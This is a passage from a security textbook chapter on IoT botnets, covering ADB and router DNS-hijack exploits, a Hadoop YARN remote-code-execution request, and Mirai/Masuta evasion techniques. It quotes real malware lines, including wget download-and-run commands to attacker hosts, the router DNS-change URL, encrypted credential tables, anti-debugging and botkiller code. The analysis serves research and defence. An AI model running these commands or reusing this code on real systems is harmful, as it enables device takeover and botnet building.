Unknown Sources” within the Fire TV’s settings. Unnecessary to say that enabling
these options exposes the device to uninvited guests and gives them the ability to
install and load malicious applications.

Once ADB enabled on a device, getting root shell access using the Android
SDK Platform tools is particularly easy. For example, passing the “id” Unix
command to “adb” will respond with the user running in the context of the shell:

C:\android-platform-tools\platform-tools>adb shell "id" x.x.x.x

uid=0(root) gid=0(root)

The ADB.miner botnet leveraged the Mirai SYN scanner module to discover
devices that had their port TCP/5555 publicly exposed. Once it discovered such
device, it infected the victim using the “adb connect,” “adb push,” and “adb
shell” commands.

3.3.8 Router Hijacking

In June 2018, malicious activity was observed targeting DLink DSL modem routers
in Brazil [33]. Through known old exploits, a malicious agent was attempting to
modify the DNS server settings in the routers of unsuspecting Brazilian residents,
redirecting all their DNS requests through a malicious DNS server.

The exploits were published as early as February 2015 for multiple DSL
routers, mostly D-Link:

■ Shuttle Tech ADSL Modem-Router 915 WM Unauthenticated Remote
DNS Change. Exploit www.exploitdb.com/exploits/35995/

■ D-Link DSL-2740R Unauthenticated Remote DNS Change. Exploit:
www.exploit-db.com/exploits/35917/

■ D-Link DSL-2640B Unauthenticated Remote DNS Change. Exploit:
www.exploit-db.com/exploits/37237/

■ D-Link DSL-2780B DLink 1.01.14 Unauthenticated Remote DNS
Change. Exploit: www.exploit-db.com/exploits/37237/

■ D-Link DSL-2730B AU 2.01 Authentication Bypass and DNS Change.
Exploit: www.exploit-db.com/exploits/37240/
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■ D-Link DSL-526B ADSL2+ AU 2.01 Unauthenticated Remote DNS
Change. Exploit: www.exploit-db.com/exploits/37241/

The exploit allows unauthenticated remote configuration of DNS server
settings on the modem/router through a simple HTTP GET in the form:

http://<victim ip>/dnscfg.cgi?dnsPrimary=<malicious DNS IP>&dnsSecondary=<malicious DNS

IP>&dnsDynamic=0&dnsRefresh=1

The malicious DNS server owned by the attackers were hijacking requests for
hostnames of popular sites, including Netflix and some of the largest financial
institutions in Brazil. By replying to the DNS request with a fake IP, the
attackers were redirecting the clients to their malicious web server that contained
a cloned version of the real websites. Requests for non-hijacked domains were
forwarded by the malicious DNS server to the legitimate DNS servers, working as
a regular DNS forwarder. An effective man-in-the-middle attack that provides
a lot of flexibility to the malicious actors for bringing up more fake portals and
allowing them to collect sensitive information from the affected users including
usernames, passwords, bank account numbers, card numbers, pin codes, etc. See
Figures 3.16–3.18.

Unique about this approach was that the hijacking was performed without any
interaction from the user. Phishing campaigns with crafted URLs and malvertis-
ing campaigns attempting to change the DNS configuration from within the
user’s browser context have been reported as early as 2014 and throughout
2015–2016. In early 2016, an exploit tool known as “RouterHunterBr 2.0” was
published on the internet and used the same malicious URLs.

The attack is insidious in the sense that a user is completely unaware of the change.
Hijacking works without crafting or changing URLs in the user’s browser. A user can
use any browser and his regular shortcuts, he or she can type in the URL manually or
even use it from a mobile device such as iPhone, iPad, Android phones, or tablets, the
hijacking effectively works at the gateway level.

Figure 3.16 DNS under normal conditions.
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3.3.9 Qbots Exploiting Cloud Services

In the second half of 2018, IoT botnets started exploiting big data and cloud
servers through a Hadoop YARN unauthenticated RCE for which proof of
concept code was published in March 2018 [7,34]. YARN, Yet-Another-
Resource-Negotiator, is a prerequisite for Enterprise Hadoop and provides cluster
resource management, allowing multiple data processing engines to handle data
stored in a single platform. YARN exposes a REST API, which allows remote
applications to submit new tasks to the cluster. The REST API, however, was
never supposed to be exposed publicly.

Figure 3.18 DNS after exploit.

Figure 3.17 DNS reconfiguration exploit.
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Submitting a task to the cluster using the YARN REST API requires two
steps:

1. Requesting an application-id using POST to URI:

http://x.x.x.x:8088/ws/v1/cluster/apps/new-application

2. Use the “application-id” from the response in step 1, submit a new task to the
cluster manager using the POST method to URI http://x.x.x.x:8088/ws/v1/
cluster/apps and with the body containing the following JSON encoded data
structure:

’application-id’: app_id, // received in step 1

’application-name’: ’get-shell’,

’am-container-spec’: {

’commands’: {

’command’: ’shell_command_to_execute’,

},

},

’application-type’: ’YARN’

Since Hadoop servers are Linux-based and IoT botnets support multiple
architectures including x86 32 and x86 64, and given the right exploit, a botnet
can leverage not just IoT but also the very capable big data clusters as part of its
botnet members. The exploits observed in September 2018 were in part originat-
ing from a modified Owari botnet:

{" am-container-spec":

{"commands":

{"command":

"cd /tmp; wget http://104.248.40.241/bins/Owari.x86; chmod 777*; ./Owari.x86 yarn-bots;

rm -rf *"

}

},

"application-id": "application_xxxxxxxx_xxxx",

"application-type": "YARN",

"application-name": "get-shell"

}

Others joined in quickly; among them a new Qbot variant dubbed “Demon-
bot” [34].

3.4 Evasion and Protection Techniques
As bots matured and new developers started adding capabilities, bots assembled
a string of techniques that enables them to protect themselves from compet-
ing bots that are trying to invade owned devices, hide from automated
detection such as honeypots, and slow down reverse engineering by security
researchers.
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3.4.1 Hiding Command and Control Traffic

Compared to its counterparts, IoT botnets have not shown to be very creative in
hiding or obfuscating their C2 traffic. Most IoT botnets communicate in clear
text through TCP sockets on various ports. Given their typical deployment in
residential networks or being the actual device that provides the internet connec-
tion, most of the devices that are potential targets for IoT botnets are not
protected by devices providing deep packet inspection or protocol decoders
that might detect anomalous behavior. This is much different for their bot
cousins who are targeting capable end-user systems running anti-malware and
host or network intrusion detection software, or are located inside the enterprise
or private networks protected by capable security gateways. By consequence, for
IoT botnets, there is little reason for and not much to gain from obfuscating or
hiding their C2 traffic. IoT botnets have more to gain from taking measures
against being detected by public sensors and collectors or honeypots during
their scanning and spreading stage. These measures were previously discussed in
the discovery section (Section 3.2).

Some of the more sophisticated IoT botnets such as Hajime and VPNFilter do
encrypt their C2 traffic using public/private key encryption and by doing so
prevent researchers from infiltrating their C2 channels with fake bots. Snooping
on C2 traffic enables security researchers to monitor the attack commands
a botnet is processing and map out their activities before taking them down.
Hajime, which is a fully decentralize botnet, requires public/private key encryp-
tion to protect the botnet from being taken over. Since C2 is fully decentralized,
there are no specific servers sending commands and any node part of the
distributed network can emerge as a C2 node given it has the required key to
authenticate itself and encrypt the messages.

3.4.2 Unlinking the Binary

Most Mirai variants unlink (delete/remove) themselves from within the bot code.
Others were found to remove the file after executing the binary from the command
line. In Unix, the system call for delete or remove is unlink(). An executable file can
be unlinked while its process is still running; it will not affect the running process as
such. As the name implies, unlinking does not remove the data blocks from the file
system, it simply removes the entry (filename) from the directory table and the file’s
data blocks remain reserved until all processes that have the file referenced close it or
terminate, at which point the reference count for the file will fall to zero and its
blocks will be released to the free pool for reuse by other files.

Some botnets, like Mirai and Hajime, implement the unlink() system call in
their bot code:
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// Delete self

unlink(args[0]);

Others do not implement unlink() in their bot code but rely on the loader to
perform it from the command line:

wget http://x.x.x.x:y/tftp; chmod +x tftp; ./tftp; rm -rf tftp

The above command line sequence downloads the malware binary masqueraded
with the name “tftp,”making it executable, executing it and then removing the
executable using “rm.” The “rm” (remove) Unix command uses the same unlink()
system call as used by Mirai and its variants. As “rm” gets called, the “tftp” entry is
removed from the directory, but the process keeps running and the data blocks of the
binary stay allocated in the file system until the process exits or the device reboots.
Note that while “tftp” is not ran in background using “&,” the process spawns a new
version of itself by forking in code using the fork() system call, exiting the parent, and
calling setsid() to detach itself from the controlling terminal as well as close STDIN,
STDOUT, and STDERR. In doing so, it prevents that it will receive a SIGHUP
signal when the controlling terminal is closed by the loader. The implementation is
very similar to what the nohup Unix command line utility does, but it is implemen-
ted directly in the bot’s code. Below is an extract from the Mirai “bot/main.c” source
file illustrating this:

#ifndef DEBUG

if (fork()> 0)

return 0;

pgid = setsid();

close(STDIN);

close(STDOUT);

close(STDERR);

#endif

3.4.3 Runtime Decryption of Strings

To resist reversing and debugging as well as making static analysis of binaries harder
to perform, literal strings in the program code are encrypted. A Unix “strings”
command, for example, does not suffice to gather information from the binary code,
unless one knows the encryption function and key. This forces security researchers
to manually search for the decryption routines and uncover the algorithm and the
key. The encryption algorithm and key are not necessarily sophisticated; its primary
purpose is to prevent automated analysis and slow down the reversing process.

For example, analyzing the Masuta bot binary, a well-known Mirai branch, the
output of strings looks like:

~/botresearch/Masuta/bot$ strings bot

...

+ =06,*16*) 01,*+6 k+ 1 E
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The encrypted literal strings in most of the Mirai variants are “unlocked” and
“locked” upon use. For example, in Masuta “bot/main.c”, after successful
initialization, the process writes to the terminal the line “gosh that chinese
family at the other table sure ate alot.” The code passage that writes this string
to the terminal shows that it first “unlocks” (decrypts) the table entry at array
location TABLE_EXEC_SUCCESS. Then it retrieves that value and outputs it to
STDOUT. After use, the entry for TABLE_EXEC_SUCCESS is “locked”
(encrypted) again.

...

table_init();

...

-->table_unlock_val(TABLE_EXEC_SUCCESS);

tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len);

write(STDOUT, tbl_exec_succ, tbl_exec_succ_len);

write(STDOUT, "\ n", 1);

-->table_lock_val(TABLE_EXEC_SUCCESS);

The entry for TABLE_EXEC_SUCCESS is defined in “bot/table.c”:

void table_init(void) {

add_entry(TABLE_CNC_PORT, "\x45\x3A", 2); // 127

add_entry(TABLE_SCAN_CB_DOMAIN, "\x2B\x20\x3D\x30\x36\x2C\x2A\x31\x36\x2A\x29\x30\x31\x2C

\x2A\x2B\x36\x6B\x2B\x20\x31\x45", 22); // nexusiotsolutions. net

add_entry(TABLE_SCAN_CB_PORT, "\xFE\xA0", 2); // 48101

-->add_entry(TABLE_EXEC_SUCCESS, "\x22\x2A\x36\x2D\x65\x31\x2D\x24\x31\x65\x26\x2D\x2C\x2B

\x20\x36\x20\x65\x23\x24\x28\x2C\x29\x3C\x65\x24\x31\x65\x31\x2D\x20\x65x2A\x31

\x2D\x20\x37\x65\x31\x24\x27\x29\x20\x65\x36\x30\x37\x20\x65\x24\x31\x20\x65\x24

\x29\x2Ax31\x45", 58); // gosh that chinese family at the other table sure ate alot

add_entry(TABLE_SCAN_SHELL, "\x36\x2D\x20\x29\x29\x45", 6); // shell

add_entry(TABLE_SCAN_ENABLE, "\x20\x2B\x24\x27\x29\x20\x45", 7); // enable

add_entry(TABLE_SCAN_SYSTEM, "\x36\x3C\x36\x31\x20\x28\x45", 7); // system
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add_entry(TABLE_SCAN_SH, "\x36\x2D\x45", 3); // sh

add_entry(TABLE_SCAN_QUERY, "\x6A\x27\x2C\x2B\x6A\x27\x30\x36\x3C/x27\x2A\x3D\x65\x08\x04

\x16\x10\x11\x04\x45", 20); // /bin/busybox MASUTA

add_entry(TABLE_SCAN_RESP, "\x08\x04\x16\x10\x11\x04\x7F\x65\x24\x35\x35\x29\x20\x31\x65

\x2B\x2A\x31\x65\x23\x2A\x30\x2B\x21\x45", 25); // MASUTA: applet not found

...

}

...

static void add_entry(uint8_t id, char *buf, int buf_len) {

char *cpy = malloc(buf_len);

util_memcpy(cpy, buf, buf_len);

table[id].val = cpy;

table[id].val_len = (uint16_t)buf_len;

}

A closer look at table_unlock_val() and table_lock_val() functions in “bot/table.c”
leads to the toggle_obf() function:

void table_unlock_val(uint8_t id) {

struct table_value *val = &table[id];

#ifdef DEBUG

if(!val->locked) {

printf("[table] Tried to double-unlock value %d\n", id);

return;

}

#endif

toggle_obf(id);

}

void table_lock_val(uint8_t id) {

struct table_value *val = &table[id];

#ifdef DEBUG

if(val->locked) {

printf("[table] Tried to double - lock value\n");

return;

}

#endif

toggle_obf(id);

}

...

static void toggle_obf(uint8_t id) {

int i = 0;

struct table_value *val = &table[id];

uint8_t k1 = table_key & 0xff,

k2 = (table_key >> 8) & 0xff,

k3 = (table_key >> 16) & 0xff,

k4 = (table_key >> 24) & 0xff;

for(i = 0; i < val -> val_len ; i++) {

val->val[i] ^= k1;
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val->val[i] ^= k2;

val->val[i] ^= k3;

val->val[i] ^= k4;

}

#ifdef DEBUG

val->locked = !val->locked;

#endif

}

Note the debug statements that track and test the locked property of the table
entry. Since the encryption uses a simple XOR operation to decode the encrypted
string literals, calling table_lock_val() twice without table_unlock_val() in between
will result in an unknown state of encrypted versus clear text of the literal. The
encryption is basically a toggle between both the encrypted and clear text version of
the string.

The key for encryption is defined at the top of the”bot/table.c”file as:

uint32_t table_key = 0xdedeffba;

To decrypt the string, the 32-bit table key 0xdedeffba is split in 4 bytes
(0xde,0xde,0xff,0xba) and applied in sequence to every character (byte) in the
string. The sequential application of these 4 bytes corresponds to a single XOR
operation with 0x45 (decimal 69). In a Python console, we can easily verify the
decryption function:

>>> 0xde ^ 0xde ^ 0xff ^ 0xba

69

>>> format(69, ’02x’)

’45 ’

>>> str = ’’

>>> for c in "\x22\x2A\x36\x2D\x65\x31\x2D\x24\x31\x65\x26\x2D\x2C\x2B\x20\x36\x20\x65\x23

\x24\x28\x2C\x29\x3C\x65\x24\x31\x65\x31\x2D\x20\x65\x2A\x31\x2D\x20\x37\x65\x31

\x24\x27\x29\x20\x65\x36\x30\x37\x20\x65\x24\x31\x20\x65\x24\x29\x2A\x31\x45":

... str += chr(ord(c)^0x45)

...

>>> str

’gosh that chinese family at the other table sure ate alot’

It might seem absurd from a performance perspective that the decryption
function executes four independent operations that can be performed in a single
operation. In doing so, however, the decryption key 0x45 is not directly exposed in
the binary. One needs to reverse the complete function call chain to discover the
actual use of the variable table key (0xdedeffba) to understand how to decrypt the
string literals. This is an example of code obfuscation.

The “scan.c”module contains the table of default passwords used for the Telnet
brute-force. The module also embeds its own decryption function where the key
is hardcoded in the function itself. To stay with the Masuta sample, the default
password table consists of 32 entries and is initialized in the function scanner_init()
in ”bot/scan.c”:
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void scanner_init(void) {

...

// Set up passwords

add_auth_entry ("\x37\x2A\x2A\x31", "", 5);

add_auth_entry ("\x24\x21\x28\x2C\x2B", "\x24\x21\x28\x2C\x2B", 10);

...

add_auth_entry ("\x37\x2A\x2A\x31", "\x26\x2D\x24\x2B\x22\x20\x28\x20", 12);

add_auth_entry ("\x37\x2A\x2A\x31", "\x74\x77\x76\x74\x77\x76", 10);

# ifdef DEBUG

printf("[scanner] Scanner process initialized. Scanning started.\n");

# endif

...

The decryption function in “scan.c” is called “deobf” (de-obfuscation) and is
very similar to the string literal decryption function, only this time with the key
hard coded in the function itself:
static char *deobf(char *str, int *len) {

int i;

char *cpy ;

*len = util_strlen(str);

cpy = malloc(*len + 1);

util_memcpy(cpy, str, *len + 1);

for (i = 0; i < *len; i++) {

cpy[i] ^= 0xDE;

cpy[i] ^= 0xDE;

cpy[i] ^= 0xFF;

cpy[i] ^= 0xBA;

}

return cpy;

}

The credential decryption key in this case (0xdedeffba) is identical to the
string literal decryption key, but a different key can be used to force researchers
not to take any shortcuts on guessing keys. Note that in the case of the brute-
force credential table the entries are decrypted at process initialization time and
remain in clear text in memory until the process exits, as opposed to the
decryption and re-encryption at every use of the string literals in the configura-
tion table. This behavior can be observed from the “add_auth_entry” function
definition in “bot/scan.c”:

static void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight) {

int tmp;

auth_table = realloc(auth_table, (auth_table_len + 1) *sizeof(struct scanner_auth));

-->auth_table[auth_table_len].username = deobf(enc_user, &tmp);

auth_table[auth_table_len].username_len = (uint8_t)tmp ;

-->auth_table[auth_table_len].password = deobf(enc_pass, &tmp);

auth_table[auth_table_len].password_len = (uint8_t)tmp;

auth_table[auth_table_len].weight_min = auth_table_max_weight;

auth_table[auth_table_len++].weight_max = auth_table_max_weight + weight;
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auth_table_max_weight += weight;

}

3.4.4 Anti-Debugging

When security researchers are hunting botnets, they can fairly easily get access to the
binaries by tricking the scanner and loader in their honeypots. However, they are left
with only a binary and typically no source code for new and emerging botnets.
Reverse engineering is the process of researching a program to obtain information
about how it works. Two types of analysis can help in reversing binaries: static and
dynamic analysis. During static analysis, the binary’s code is decoded into machine
language and the machine language is interpreted by hand—a tedious and long
process that is prone to mistakes and takes a toll on the life expectancy of the
researcher. Dynamic analysis still requires experience, a basic understanding of
machine language and compilers, and a good understanding of operating systems
and system calls. Unless detonating the malware in an off-the-shelf sandbox or having
the courage to run it in an isolated environment and studying the external interac-
tions of the malware while tracing system calls with strace, dynamic analysis involves
the use of debuggers such as gdb.

Anti-debugging capabilities in the code ensure that tracing or debugging fails and
as such slow down the process of dynamic analysis. Anti-debugging can be circum-
vented, but it takes more time and much experience from the reverser to get around
it. Some malwares use a fairly basic way to detect they are under control of
a debugger or running under strace. Linux debuggers and tracers like gdb and strace
use the ptrace() system call to attach to the process at run-time and gain the ability to
observe and control the execution of that process as well as examine and change the
traced process’s memory and registers. While being traced, the process will stop each
time a signal is delivered, even if the traced process is ignoring that signal. At that
time, the tracer process regains control and is able to inspect and modify the
instructions and memory of the traced process, after which it can instruct the traced
process to continue execution. One of the properties of the ptrace() system call is that
it can only be invoked once on a process. When invoked multiple times on the same
process, the call to ptrace() will fail and return -1, if ptrace() succeeds it returns 0.

So a basic check for anti-debugging would consist of calling ptrace() and
checking the return value for failure as illustrated below:

# include <stdio.h>

# include <sys/ptrace.h>

bool anti_debug_check () {

return (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1);

}

int main () {

if (anti_debug_check()) {

printf("under debugger !\n");
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} else {

printf("normal execution !\n);

}

}

strace is a Linux system call tracing tool. From the signal description above, it
should be clear that without changing the instructions of the traced process, it is
only possible to interrupt the process and inspect its memory and register contents
when it comes back from a system call. strace by consequence only gathers and logs
information about the system calls performed by the traced process. While this
might seem very limited in terms of information, there is still a lot that can be
learned from running a bot with strace. Bots use system calls whenever they fork
a new process, try to perform file manipulations, when opening, closing, reading,
and writing files, same for socket operations and thus network communication. For
all the system calls, strace will log their arguments and return values, so the data
passed back and forth between the process and the kernel are recorded and allows,
for example, one to follow the full communication between bot and C2 server.
Combined with other Unix command line tools such as ps and lsof, one can do
a decent dynamic analysis of malware. It does take much time to decode and go
through the vast strace logs however. Debuggers, for that purpose, provide
a better means to analyze the bot interactively and step through its machine
instructions. They still do not provide the actual source code from the compiled
language, but with a fair understanding of machine code will allow one to
understand most of the actions taken by the process.

Mirai to that end contains a more elaborate anti-debugging feature based on
the typical SIGTRAP implementation Unix debuggers use. When a debugger
wants to stop the execution at a specific instruction of a debugging process, i.e.,
set a breakpoint, the debugger will replace the instruction at the memory address
of the breakpoint with a int 3 instruction. int 3 is the SIGTRAP instruction and
by default terminates a process and generates a core dump. However, since the
debugger performed a ptrace() system call on the debugged process, the debugger
will regain control before the traced process continues. The debugger will
intercept the SIGTRAP and be allowed to interact with the stopped process
such as inspecting memory and registers, setting or clearing breakpoints (int 3
instructions that is), etc. Before the debugger continues execution of the traced
process, it will replace the int 3 instruction at the breakpoint with the saved
original instruction and clear the SIGTRAP that was responsible for generating
the interruption. At that point, the traced process continues execution as usual
until it hits another int 3 instruction.

To detect it is running under control of a debugger, Mirai will change the default
signal handler for the SIGTRAP signal and generate itself a SIGTRAP (int 3) to
invoke its custom installed handler. If a debugger controls the process, Mirai will
trick the debugger into thinking that it hit a breakpoint and upon giving control back
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to the debugged process to continue execution, the debugger will clear the SIGTRAP
flag. Clearing the SIGTRAP flag of the self-invoked int 3 will result in the custom
installed signal handler of the bot never to be invoked, which will change the
behavior of the program slightly going forward.

Below are the code fragments and the step-by-step explanations how the anti-
debugging feature of Mirai works:

void (*resolve_func)(void) = (void (*)(void))util_local_addr ;

// resolv_ func gets overridden in anti_gdb_entry

Mirai uses a global variable called “resolve_func,” which contains a pointer to
a function of type “void f()” and assigns the address of the function “util_local_addr”
to it. The “util_local_addr” is a valid function defined in “util.c” but with a different
signature: “ipv4_t util_local_addr(char* ipAddress)”.

int main (int argc, char **args) {

...

srv_addr.sin_family = AF_INET;

srv_addr.sin_addr. s_addr = FAKE_CNC_ADDR ;

srv_addr.sin_port = htons(FAKE_CNC_PORT);

...

signal(SIGTRAP, &anti_gdb_entry);

...

if (unlock_tbl(args[0])) {

raise(SIGTRAP);

}

...

}

In its early initialization, Mirai assigns “srv_addr” to a fake C2 IP and port,
which then changes the default signal handler for SIGTRAP to the function
“anti_gdb_entry().” A few lines later, Mirai will raise a SIGTRAP signal
(located in a conditional test from calling the “unlock_tbl()” function, which
is supposed to always return true). At that moment, the signal should result in
the function “anti_gdb_entry()” being called as it is installed as the handler for
the SIGTRAP signal. If, however, the process is running under control of
a debugger that signal will be intercepted and cleared by the debugger and will
never be passed down to the Mirai process causing the “anti_gdb_entry()”
function not to be invoked. For now, we can summarize that “anti_gdb_entry()”
will be invoked under normal conditions and skipped if the process is running
under control of a debugger.

static void anti_gdb_entry(int sig) {

resolve_func = resolve_cnc_addr;

}

The function “anti_gdb_entry()” assigns the global variable “resolve_func,”
which is a pointer to a function of type “void f(),” to the address of the function
“resolve_cnc_addr.”
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static void resolve_cnc_addr(void) {

table_unlock_val(TABLE_CNC_IP);

char* ip = (char *)table_retrieve_val(TABLE_CNC_IP, NULL);

srv_addr.sin_addr.s_addr = inet_addr(ip);

table_lock_val(TABLE_CNC_IP);

table_unlock_val(TABLE_CNC_PORT);

srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL));

table_lock_val(TABLE_CNC_PORT);

}

The function “resolve_cnc_addr,” which is assigned to the variable “resolve_func”
under normal conditions, decrypts the C2 IP and port from the encrypted
settings table and overwrites the FAKE_CNC_ADDR and FAKE_CNC_PORT
values that were previously assigned to “srv_addr.” Because of the FAKE_CNC_*
define statements these strings are included in the binary text as literal strings at
compile time. Running a “strings” on the binary will reveal the FACKE_CNC
address and port number in clear while the real C2 server hostname and port are
encrypted in the literals table. This technique confuses automated analysis tools
in believing that they found the actual C2 server hostname and port, evading
honeypots with automated static analysis and making the work of researchers
harder since they have to manually recover the decryption key to identify the real
C2 hostname and port.

Finally, Mirai will have to invoke the function that was assigned as pointer to
the variable “resolve_func()”:

int main (int argc, char **args) {

...

...

// Should call resolve_cnc_addr
if (resolve_func != NULL)

resolve_func();

connect(fd_serv, (struct sockaddr *)&srv_addr, sizeof(struct sockaddr_in));

...

}

Under normal conditions, the function assigned to this variable is “resolve_
cnc_addr,” which overwrites the fake C2 hostname and port with the C2 hostname
and port from the encrypted settings table. When the bot is under debugger control,
however, invoking “resolv_func()” will result in the initial assigned function “util_loca-
l_addr” to be invoked and as this function expects an IP address as argument, anything
that was set in the register for the first argument will be passed into that function, which
will mostly not make any sense and most probably cause the process to receive
a segmentation violation at some point. In the event the process does not crash after
invoking “util_local_addr,” the process will connect to the fake C2 server hostname and
port. Under normal conditions, the process will connect to the real C2 server.

Anti-debugging is not insurmountable, but it can destroy a researcher’s day.
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3.4.5 Code Obfuscation

A good illustration of code obfuscation as performed by Mirai is the function
“unlock_tbl()” in “bot/main.c,” the function that gets invoked during the anti-
debugging sequence explained earlier. This function relies on the real process
name, before it got obfuscated, laying out another trap for reversers doing static
machine code analysis as they might assume that the process name is scrambled at
the moment the function gets invoked. Remember that the reverser does not have
access to the source code and neither does he get to see the comments that are
provided in the code below. To understand the code, assume the original process
name and command line invocation is ./dvrHelper, hence the value of the
“argv0” argument is the string “./dvrHelper.”

static BOOL unlock_tbl(char * argv0)

{

// ./ dvrHelper = 0x2e 0x2f 0x64 0x76 0x72 0x48 0x65 0x6c 0x70 0x65 0x72

char buf_src[18] = {0x2f, 0x2e, 0x00, 0x76, 0x64, 0x00, 0x48, 0x72, 0x00, 0x6c, 0x65, 0x00, 0x65,

0x70, 0x00, 0x00, 0x72, 0x00}, buf_dst[12];

int i, ii = 0, c = 0;

uint8_t fold = 0xAF;

void (* obf_funcs[]) (void) = {

(void (*) (void))ensure_single_instance,

(void (*) (void))table_unlock_val,

(void (*) (void))table_retrieve_val,

(void (*) (void))table_init, // This is the function we actually want to run!

(void (*) (void))table_lock_val,

(void (*) (void))util_memcpy,

(void (*) (void))util_strcmp,

(void (*) (void))killer_init,

(void (*) (void))anti_gdb_entry

};

BOOL matches;

for (i = 0; i < 7; i++)

c += (long)obf_funcs[i];

if (c == 0)

return FALSE ;

// We swap every 2 bytes: e. g. 1, 2, 3, 4 -> 2, 1, 4, 3

for (i = 0; i <sizeof(buf_src); i += 3) {

char tmp = buf_src[i];

buf_dst[ii ++] = buf_src[ i + 1];

buf_dst[ii ++] = tmp ;

// Meaningless tautology that gets you right back where you started

i *= 2;

i += 14;

i /= 2;

i -= 7;

// Mess with 0 xAF

fold += ~argv0[ii % util_strlen(argv0)];

}

fold %= (sizeof(obf_funcs) / sizeof(void *));
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(obf_funcs[fold])();

matches = util_strcmp (argv0, buf_dst);

util_zero(buf_src, sizeof(buf_src));

util_zero(buf_dst, sizeof(buf_dst));

return matches;

}

The whole function basically does nothing useful. The only check it performs is
comparing the value of “argv0” and “./dvrhelper,” and if they match the function will
return “TRUE.”There is no good reason why the comparison will fail; all that function
does is throwing around some variables, creating some fake function table entries that
are local to the function and will cease to exist as soon as the function exits. So basically
this function is just a brain teaser for the reverser that needs to go through it.

3.4.6 Executable Packers

Executable packers are providing compression of binary code in executables. While
their original objective was to reduce the size of the executable, packers have become
a powerful anti-reversing and obfuscation tool, making static analysis of binaries
harder. Packers, however, are less prevalent in the Linux world compared to
Windows where hundreds of packers are available, both commercially and through
underground trading. The most used and only proven packer for ELF binaries is
UPX, an open source and cross-platform compression packer that has been around
since 1998 and still actively maintained [35].

Since UPX is open source, it can be customized to hinder reverse engineering
even more. Hajime, for example, used UPX but with a customized packer that
changed the default magic number from !UPX (hex 55 50 58 21) to another value
hex F5 96 A4 B5 [36]. Binary patching the Hajime code and replacing the custom
magic number with the !UPX magic number made the binary unpackable using the
standard UPX command. It, however, takes time to figure out and discover.

3.4.7 Botkiller

As more actors and botnets started competing for the same IoT devices, botkiller
features were added to the bots to detect and purge potential bots that might have
previously infected a device, giving the new bot exclusive access to all resources of
the device. To avoid botkillers detecting their presence, bots like Mirai obfuscate
their presence using random process strings; others replicate names of known Linux
services. Hiding the process is not that important from the point of view of being
discovered by the owner of the device or trying to evade anti-malware solutions,
since most of the IoT devices are headless and do not run antimalware software. The
hiding is mostly to prevent other bots that might get a hold of the infected device
and try to take over ownership. In the Mirai case, once known competing bots are
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purged and the bot believes it has exclusive access to the device, the bot does not
stop scanning for intruders and rather will continuously stay in alert five to detect
and destroy any future attempts to take over the device.

3.4.7.1 Basic Botkiller

A botkiller feature can be as easy as a predefined list of known malware process
names that are killed as the bot starts, by request or continuously. The Prometheus
Qbot variant, for example, uses this kind of botkiller and performs the process on
request by its C2 server through the command message “REMOVER”:

const char *known Bots[] = {

"mips", "mipsel", "sh4", "x86",

"i686", "ppc", "i586", "i586",

"jackmy*", "hackmy*", "arm*",

"b1", "b2", "b3", "b4", "b5", "b6", "b7", "b8", "b9",

"busyboxterrorist", "DFhxdhdf", "dvrHelper", "FDFDHFC",

"FEUB", "FTUdftui", "GHfjfgvj", "jhUOH",

"JIPJIPJj", "JIPJuipjh", "kmyx 86_64", "lolmipsel",

"mips", "mipsel", "RYrydry", "tel*",

"Two Face*", "UYyuyioy", "wget", "x86_64",

"XDzdfxzf", "xxb *", "sh",

"1", "2", "3", "4", "5", "6", "7", "8", "9",

"10", "11", "12", "13", "14", "15", "16", "17", "18", "19", "20",

"hackz", "bin *", "gtop", "ftp*", "tftp*",

"botnet", "swatnet", "ballpit", "fucknet",

"cracknet", "weednet", "gaynet", "queernet",

"ballnet", "unet", "yougay", "sttftp", "sstftp",

"sbtftp", "btftp", "y 0u 1sg 3y", "bruv*", "IoT*",

};

void botkiller () {

int i;

for (i = 0; i < (int)(sizeof(knownBots)/ sizeof(char *)); i++) {

char command [80];

sprintf(command, "pkill -9");

strcat(command, knownBots[i]);

system(command);

sprintf(command, "pkill -9 \"");

strcat(command, knownBots[i]);

strcat(command, "\"");

system(command);

}

}

3.4.7.2 Kill by Port

There is a more intelligent method to discover that processes to kill independent of
their name and that is by finding the process that owns the socket corresponding to
a TCP listener for a specific port. Mirai uses this “kill_by_port” method for TCP
ports with number 23 (Telnet), 22 (SSH), and 80 (HTTP). After killing the
processes that owned the TCP ports, it will bind itself and listen to all three ports.
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It does not accept any new connections however; it just listens to reserve them and
by consequence, a port scan of the device would reveal the ports as “open” but
when connecting to them nothing will actually happen, they will seem un-reactive.
Besides killing competing bots that might have taken control of these ports, the
function will also kill legitimate telnetd, sshd, and httpd daemons and by binding
and listening on these respective ports Mirai will prevent these processes from being
respawned without failing. As a result, the device’s telnet, ssh, and admin access will
become inaccessible after infection. Note that only the telnet kill procedure is
uncommented by default in the publicly shared Mirai source code, the SSH and
HTTP kill procedures were commented out and as such, by default, Mirai will
only kill and make a reservation on the telnet (TCP/23) port.

The function “killer_kill_by_port(portno)” uses the “/proc/net/tcp” special file
to discover currently active TCP connections. The function scans through each
entry and locates the ones with its local TCP port matching the argument
“portno” and state of the connection set to “listening.” When it finds an entry,
it takes note of the socket’s inode and then searches the process table for the
process id (PID) of the owner of the socket. Let’s illustrate the algorithm using
the Linux command line; say we would like to find the process listening to port
TCP/22 (SSH) on a Linux system. The port number we are looking for in the
“/proc/net/tcp” file is 0x16 (hex value of decimal 22):

$ cat / proc/ net/ tcp

Sl local_address rem_address st tx_queue rx_queue tr tm -> when retrnsmt uid timeout inode

...

1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 23213 1

0000000000000000 100 0 0 10 0

...

5: 0A0010AC:00161A0010AC:DBCB 01 00000034:00000000 01:00000018 00000000 0 0 1882496 4

0000000000000000 24 4 31 10 16

...

Two connections on the system match port 22. Next step is finding that
connection which is in the TCP_LISTEN state. The “tcp_states.h” Linux header
file enumerates the possible TCP states:

enum {

TCP_ESTABLISHED = 1,

TCP_SYN_SENT,

TCP_SYN_RECV,

TCP_FIN_WAIT_1,

TCP_FIN_WAIT_2,

TCP_TIME_WAIT,

TCP_CLOSE,

TCP_CLOSE_WAIT,

TCP_LAST_ACK,

TCP_LISTEN, /* 10 */

TCP_CLOSING,

TCP_NEW_SYN_RECV,
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TCP_MAX_STATES /* Leave at the end! */

};

From the above definition, we know we should be looking for a TCP connec-
